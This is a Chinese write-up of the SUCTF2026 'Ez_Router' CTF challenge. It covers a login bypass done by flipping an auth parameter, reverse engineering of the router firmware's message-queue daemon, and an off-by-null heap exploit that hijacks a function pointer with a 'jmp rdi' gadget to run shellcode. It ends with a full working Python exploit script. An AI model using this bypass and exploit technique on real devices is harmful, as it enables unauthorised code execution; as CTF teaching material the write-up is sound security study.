文章总结: 本文详细分析了SUCTF2026Ez_Router的解题过程,主要包括前端越权和二进制分析两部分。首先,通过抓包发现登录请求中的auth参数,将其值从0改为1即可绕过认证直接登录。接着,对固件进行逆向分析,梳理了http服务器与cgi-bin脚本的交互流程,并重点分析了mainproc进程。研究发现,mainproc通过消息队列处理来自cgi的请求,并存在使用不安全的strcpy函数进行字符串复制的情况,这可能导致栈溢出等安全问题。 综合评分: 85 文章分类: CTF,WEB安全,二进制安全,渗透测试,漏洞分析
SUCTF2026 Ez_Router
zer00ne zer00ne
看雪学苑
2026年3月30日 18:09 上海
前端越权
通过抓包登录的报文, 我们可以发现如果先是随便输入一对账密。
会抓到一个发向http的包:
GET /www/http?auth=0&action=login HTTP/1.1
Host: 192.168.41.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.41.128:8080/index.html
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
可以看到有一个参数auth=0
此时如果放行报文就会登录失败, 但是将auth的值改成1就可以登录成功
GET /control.html HTTP/1.1
Host: 192.168.41.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.41.128:8080/index.html
Accept-Encoding: gzip, deflate, br
Cookie: session_id=72cb56e041a043ee6dfc3427033ef203
Connection: keep-alive
二进制分析
架构分析
首先可以来到固件与备份, 将这个项目下载得到二进制文件:
├── http
├── lib
│ └── libutils.so
├── mainproc
├── start.sh
├── tmp
│ └── sessions
└── www
├── cgi-bin
│ ├── download.cgi
│ ├── list.cgi
│ ├── login.cgi
│ ├── ping.cgi
│ ├── restart.sh
│ ├── vpn.cgi
│ └── wifi.cgi
├── control.html
├── css
│ ├── dashboard.css
│ ├── fontawesome
│ │ └── css
│ │ └── all.min.css
│ └── fonts
│ ├── inter.css
│ └── Inter-Regular.woff2
├── index.html
└── js
└── dashboard.js
首先可以分析得到请求的传输流程html -> /cgi-bin/*.cgi
对http进行分析, 可以发现这个文件:
- 将请求转发给
/cgi-bin/*.cgi - 处理静态资源, 并对除了login.html的静态资源进行鉴权
- 接收
login.cgi的重定向请求, 并为auth=1的会话设置cookie
接下来我们可以结合html页面和cgi综合分析每个业务逻辑的链路
业务逻辑
除了重启按钮以外, 几乎每一个接口都有对应的cgi
直接从docker启动脚本中发现:
#!/bin/bash
# Ensure sessions directory exists
mkdir -p /app/tmp/sessions
# Start the main backend process in the background
echo "Starting mainproc..."
./mainproc &
# Give mainproc a moment to initialize (e.g., set up message queues)
sleep 2
# Start the Web Server in the foreground on port 80
echo "Starting http server on port 80..."
./http 80
起docker的时候顺手将mainproc拉起放置在后台, 可以猜测具体的功能实现在mainproc中
mainproc
现在就该重点分析mainproc了
首先可以发现这个文件中的init_array存在一个函数指针:
__attribute__((constructor)) voidInit() {
void *ptr = malloc(0xf000);
void *heap_current = sbrk(0);
uintptr_t page_align_mask = ~((uintptr_t)0xFFF);
void *heap_base = (void *)((uintptr_t)ptr & page_align_mask);
mprotect(heap_base, 0x21000, PROT_READ | PROT_WRITE | PROT_EXEC);
free(ptr);
}
获取了堆的基地址, 并为其添加了x(可执行权限)
intmain(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "-d") == 0) {
if (daemon(1, 0) < 0) {
perror("daemon");
exit(1);
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
struct router_msgbuf msg;
while (1) {
memset(&msg, 0, sizeof(msg))
if (CFG_GET(0, &msg, sizeof(msg)) == -1) {
usleep(100000);
continue;
}
dispatch_action(&msg);
}
return 0;
}
接着在dispatch_action函数中可以发现一个巨大的switch-case结构(IDA的反编译会变成if-else结构)
switch (msg->mtype) {
case 0x6374fe30:
Set_WIFI(msg);
break;
case 0x74122f00:
case 0x74122c02:
Add_MAC(msg);
break;
case 0x32ee2000:
case 0x32ef2030:
Del_MAC(msg);
break;
case 0x9313f7e0:
Set_VPN(msg);
break;
case 0xe6133f10:
Edit_VPN_Custom(msg);
break;
case 0x96e7ff60:
Apply_VPN();
break;
default:
printf("[WARN] Received unknown message type: 0x%lx\n", msg->mtype);
break;
根据不同的魔数, 调用不同功能的函数, 从cgi中提取不同的功能可以整理出接口与处理函数的对应关系。
接下来应该梳理不同结构体, 结构体从IDA静态分析不是很容易, 推荐通过gdb调试描绘结构体轮廓。
黑白名单 :
struct __attribute__((packed)) mac_req {
int idx;
char mac[0x10];
char note[0x1c];
};
wifi设置 :
struct wifi_req {
char ssid[0x40];
char password[0x40];
};
这两种结构体只会在堆上创建两种不同大小的堆块, 没有具体的作用
vpn :
在vpn.cgi中
struct __attribute__((packed)) vpn_recv {
char action[0x20];
char name[0x20];
char proto[0x20];
char server[0x30];
char user[0x20];
char pass[0x20];
char cert[8];
char gap[1];
char custom[3000];
};
在mainproc中
struct vpn_config_req {
uint16_t custom_len;
char _pad[6];
char cert[8];
void (*apply_cb)(struct vpn_config_req *);
char action[0x20];
char name[0x20];
char proto[0x20];
char server[0x30];
char user[0x20];
char pass[0x20];
char *custom_ptr;
};
可以发现vpn结构体在两个进程中的结构差异很大, 且在mainproc中存在函数和内存两种指针。
不同的处理函数的逻辑很简单, 包括vpn也是, 从cgi结构体中将同名成员复制到mainproc结构体中。
但是注意, 这里使用了不安全的strcpy且没有做保护:
void Set_VPN(struct router_msgbuf *msg) {
int idx = 0;
if (vpn_list[idx]) {
printf("[!] VPN already configured once. Use Edit_VPN_Custom for modifications.\n");
return;
}
struct vpn_recv *input = (struct vpn_recv *)msg->payload;
vpn_list[idx] = (struct vpn_config_req *)malloc(sizeof(struct vpn_config_req));
size_t custom_len = strlen(input->custom);
vpn_list[idx]->custom_len = custom_len;
if (custom_len > 0) {
vpn_list[idx]->custom_ptr = malloc(custom_len + 1);
memcpy(vpn_list[idx]->custom_ptr, input->custom, custom_len);
vpn_list[idx]->custom_ptr[custom_len] = '\0';
} else {
vpn_list[idx]->custom_ptr = NULL;
}
vpn_list[idx]->apply_cb = default_vpn_apply;
strcpy(vpn_list[idx]->action, input->action);
strcpy(vpn_list[idx]->name, input->name);
strcpy(vpn_list[idx]->proto, input->proto);
strcpy(vpn_list[idx]->server, input->server);
strcpy(vpn_list[idx]->user, input->user);
strcpy(vpn_list[idx]->pass, input->pass);
memcpy(vpn_list[idx]->cert, input->cert,sizeof(input->cert));
}
我们知道这些成员都是从json中取出来的, 一般的json都会在字段的结构加上’\0′
但如果我们前往.so审计
voidextract_json_string(constchar *json, constchar *key, char *out, size_t max_len) {
out[0] = '\0';
char search_key[128];
snprintf(search_key, sizeof(search_key), ""%s"", key);
char *p = strstr(json, search_key);
if (!p) return;
p += strlen(search_key);
while (*p == ' ' || *p == ':') p++;
if (*p == '"') {
p++;
size_t i = 0;
while (*p != '"' && *p != '\0' && i < max_len) {
if (*p == '\\' && *(p+1) != '\0') {
if (*(p+1) == '\\' && *(p+2) == 'x' && isxdigit(*(p+3)) && isxdigit(*(p+4))) {
char hex[3] = { *(p+3), *(p+4), 0 };
out[i++] = (char)strtol(hex, NULL, 16);
p += 4;
}
else if (*(p+1) == 'x' && isxdigit(*(p+2)) && isxdigit(*(p+3))) {
char hex[3] = { *(p+2), *(p+3), 0 };
out[i++] = (char)strtol(hex, NULL, 16);
p += 3;
}
else {
p++;
if (*p == 'n') out[i++] = '\n';
else if (*p == 'r') out[i++] = '\r';
else if (*p == '"') out[i++] = '"';
else if (*p == '\\') out[i++] = '\\';
else out[i++] = *p;
}
} else {
out[i++] = *p;
}
p++;
}
if (i < max_len) {
out[i] = '\0';
}
}
}
发现当字段的预定长度被充满后, 就不会在末尾加上null戳
结合strcpy我们就可以实现off-by-null
从结构体结构上看, 最有溢出价值的字段就是cert和pass字段, 可以修改两种指针的末尾。
但是在IDA中审计发现, 如果把default_vpn_apply的末尾改成null, 会跳转到一个导致进程段错误的地址。
所以可以利用的字段只剩下了pass字段, 可以修改custom字段的末尾, 而且custom指向的是堆地址。
我们可以用堆风水的手段, 让custom能指向一个能够修改函数指针的地址。
size_tdecode_base64_in_place(char *str) {
staticconstint b64_index[256] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 63, 62, 62, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0,
0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0,
0, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
size_t in_len = strlen(str);
if (in_len == 0) return 0;
if (strncmp(str, "B64:", 4) != 0) {
return in_len;
}
char *in = str + 4;
in_len -= 4;
size_t out_len = 0;
for (size_t i = 0; i < in_len; i += 4) {
int n = b64_index[(unsignedchar)in[i]] << 18 |
b64_index[(unsignedchar)in[i+1]] << 12 |
b64_index[(unsignedchar)in[i+2]] << 6 |
b64_index[(unsignedchar)in[i+3]];
str[out_len++] = n >> 16;
if (in[i+2] != '=') str[out_len++] = n >> 8 & 0xFF;
if (in[i+3] != '=') str[out_len++] = n & 0xFF;
}
return out_len;
}
同时可以发现在vpn.cgi中, 当字段以B64开头, 整个字段会被base64编码后使用json传输, 这解决了json对不可见字符传递的局限性。
现在可以考虑如何进行堆风水了, 既然想把custom指向函数指针, 我们就要让末尾被置零后的地址小于等于函数指针。
void (*apply_cb)(struct vpn_config_req *);
char action[0x20];
char name[0x20];
char proto[0x20];
char server[0x30];
char user[0x20];
char pass[0x20];
char *custom_ptr;
可以看到这两个地址间的offset为8+0x20+0x20+0x20+0x30+0x20+0x20=0xd8
最好的解决方法是让void (*apply_cb)(struct vpn_config_req *)的最低字节为00
通过简单的计算可以得到, 我们只需要进行wifi*1 + list*7边可以将函数指针挤到末字节为00的地址。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE
Addr: 0x555555559320
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x555555559360
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x5555555593a0
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x5555555593e0
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x555555559420
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x555555559460
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x5555555594a0
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x5555555594e0
Size: 0x100 (with flag bits: 0x101)
Allocated chunk | PREV_INUSE
Addr: 0x5555555595e0
Size: 0x800 (with flag bits: 0x801)
Top chunk | PREV_INUSE
Addr: 0x555555559de0
Size: 0x20220 (with flag bits: 0x20221)
pwndbg> telescope 0x5555555594e0
00:0000│ 0x5555555594e0 ◂— 0
01:0008│ 0x5555555594e8 ◂— 0x101
02:0010│ 0x5555555594f0 ◂— 0x7eb
03:0018│ 0x5555555594f8 ◂— 0xf2e900
04:0020│ 0x555555559500 —▸ 0x55555555540d (default_vpn_apply) ◂— endbr64 (here)
05:0028│ 0x555555559508 ◂— 0x746573 /* 'set' */
06:0030│ 0x555555559510 ◂— 0
07:0038│ 0x555555559518 ◂— 0
pwndbg>
08:0040│ 0x555555559520 ◂— 0
09:0048│ 0x555555559528 ◂— 0x31 /* '1' */
0a:0050│ 0x555555559530 ◂— 0
... ↓ 2 skipped
0d:0068│ 0x555555559548 ◂— 0x6e70766e65706f /* 'openvpn' */
0e:0070│ 0x555555559550 ◂— 0
0f:0078│ 0x555555559558 ◂— 0
pwndbg>
10:0080│ 0x555555559560 ◂— 0
11:0088│ 0x555555559568 ◂— 0x32 /* '2' */
12:0090│ 0x555555559570 ◂— 0
... ↓ 4 skipped
17:00b8│ 0x555555559598 ◂— 0x33 /* '3' */
pwndbg>
18:00c0│ 0x5555555595a0 ◂— 0
... ↓ 2 skipped
1b:00d8│ 0x5555555595b8 ◂— '4444444444444444444444444'
... ↓ 2 skipped
1e:00f0│ 0x5555555595d0 ◂— 0x34 /* '4' */
1f:00f8│ 0x5555555595d8 —▸ 0x5555555595f0 ◂— 0x10101010101b848
此时从pass字段溢出null, 就可以让custom指向04:0020│ 0x555555559500 —▸ 0x55555555540d (default_vpn_apply) ◂— endbr64
我们便可以修改函数指针
gadget选择
修改gadget, 需要我们观察default_vpn_apply的函数签名, 可以发现这个函数。
voiddefault_vpn_apply(struct vpn_config_req *req) {
printf("[SYS] Applying VPN settings for: %s\n", req->name);
}
这个函数有一个一参
使用ROPgadget --binary mainproc > gadget提取全部gadget
发现了一个特殊的gadget :jmp rdi
如果函数指针被覆盖为这个 , 我们便可以跳转到req上, 具体来说是vpn结构体的第一个字段 :uint16_t custom_len;
将这个长度作为机器码执行
此时的我们便可以任意执行两个字节, 这肯定是不够的。
常见的作法就是将这两个字节写作跳转指令, 方便我们跳转更高地址的堆上执行代码。
处理得当我们就能得到funtion_ptr->length->cert->custom的jop链, 最终跳转到custom上, 几乎无限长度地执行shellcode。
我选择是是先在length处jmp $+9, 然后再cert中jmp $+offset进行一段较长跳转, 最后在custom上做nop滑梯2shellcode。
这个过程中因为PIE保护, 需要进行1/16概率的爆破, 才能将jmp rdi写入函数指针
shellcode
由于mainproc没有回显, 我们可以加载将flag写入/www/下的html文件的方法获得flag。
因为http可以代理所有/www/*.html文件
EXP 经验
综上所述, 将攻击手法转化为http报文后, exp如下:
from pwn import *
import requests
import json
import sys
import base64
context.arch='amd64'
class IoTClient:
def __init__(self, base_url="http://localhost:8080"):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
def login_bypass(self):
url = f"{self.base_url}/www/http?action=login&auth=1"
try:
resp = self.session.get(url, allow_redirects=False)
if 'session_id' in self.session.cookies:
log.info(f"Login bypass success. Session ID: {self.session.cookies['session_id']}")
return True
else:
log.error("Failed to obtain session.")
return False
except Exception as e:
log.error(f"Connection Error: {e}")
return False
def _serialize_payload(self, data):
serialized = {}
for k, v in data.items():
if isinstance(v, bytes):
if k == "custom":
serialized[k] = "B64:" + base64.b64encode(v).decode('utf-8')
else:
serialized[k] = "".join(f"\\x{c:02x}" for c in v)
elif isinstance(v, str):
serialized[k] = v
else:
serialized[k] = v
return serialized
def set_vpn(self, name, proto="openvpn", server="127.0.0.1", user="admin", password="password", cert="cert.ovpn", custom=""):
url = f"{self.base_url}/cgi-bin/vpn.cgi"
payload = self._serialize_payload({
"action": "set",
"name": name,
"proto": proto,
"server": server,
"user": user,
"pass": password,
"cert": cert,
"custom": custom
})
return self._post_json(url, payload)
def edit_vpn(self, custom_content):
url = f"{self.base_url}/cgi-bin/vpn.cgi"
payload = self._serialize_payload({
"action": "edit",
"custom": custom_content
})
return self._post_json(url, payload)
def apply_vpn(self):
url = f"{self.base_url}/cgi-bin/vpn.cgi"
payload = {
"action": "apply"
}
return self._post_json(url, payload)
def set_wifi(self, ssid, password):
url = f"{self.base_url}/cgi-bin/wifi.cgi"
data = {
"action": "save",
"ssid": ssid,
"password": password
}
return self._post_form(url, data)
def manage_list(self, action, idx, mac="", note=""):
url = f"{self.base_url}/cgi-bin/list.cgi"
data = {
"action": action,
"idx": idx,
"mac": mac,
"note": note
}
return self._post_form(url, data)
def _post_json(self, url, json_data):
try:
resp = self.session.post(url, json=json_data)
return resp.json()
except Exception as e:
return {"status": "error", "message": str(e)}
def _post_form(self, url, data):
try:
resp = self.session.post(url, data=data)
return resp.json()
except Exception as e:
return {"status": "error", "message": str(e)}
if __name__ == "__main__":
client = IoTClient()
if not client.login_bypass():
log.error("Login bypass failed. Check if the server is running and reachable.")
exit(1)
log.info("Step 1: Setting WiFi...")
print(client.set_wifi(ssid="1", password="2"))
log.info("Step 2: Adding 7 blacklist entries...")
for i in range(7):
print(client.manage_list(action="add_black", idx=i, mac="123", note="123"))
log.info("Step 3: Setting VPN initial config...")
shellcode= asm(shellcraft.execve("/bin/sh",["/bin/sh","-c","cat flag > ./www/flag.html"],0))
print(client.set_vpn(name="1", proto="openvpn", server="2", user="3", password="4"*0x20, cert=b"\x00\xe9\xf2\x00\x00\x00", custom=shellcode.ljust(0x7eb,b"\x90")+b"\x00"))
log.info("Step 4: Triggering Edit_VPN_Custom...")
payload = b"\x21\x5c"
print(client.edit_vpn(payload))
log.info("Step 5: Applying VPN (Trigger Callback)...")
print(client.apply_vpn())
看雪ID:zer00ne
https://bbs.kanxue.com/user-home-1024538.htm
*本文为看雪论坛精华文章,由 zer00ne 原创,转载请注明来自看雪社区
看雪·2026 KCTF 防守方征题中
往期推荐
APP frida 检测绕过详解:定位 JNI 动态注册 Native 函数,Hook 核心检测函数
手游逆向全流程复盘:从 IL2CPP Dump 到 TCP 握手协议还原
Android 内核加载未签名驱动的一次实践
Polaris-Obfuscator中BogusControlFlow简要分析 反混淆
软件ollvm混淆登录参数分析
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 zer00ne zer00ne《SUCTF2026 Ez_Router》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论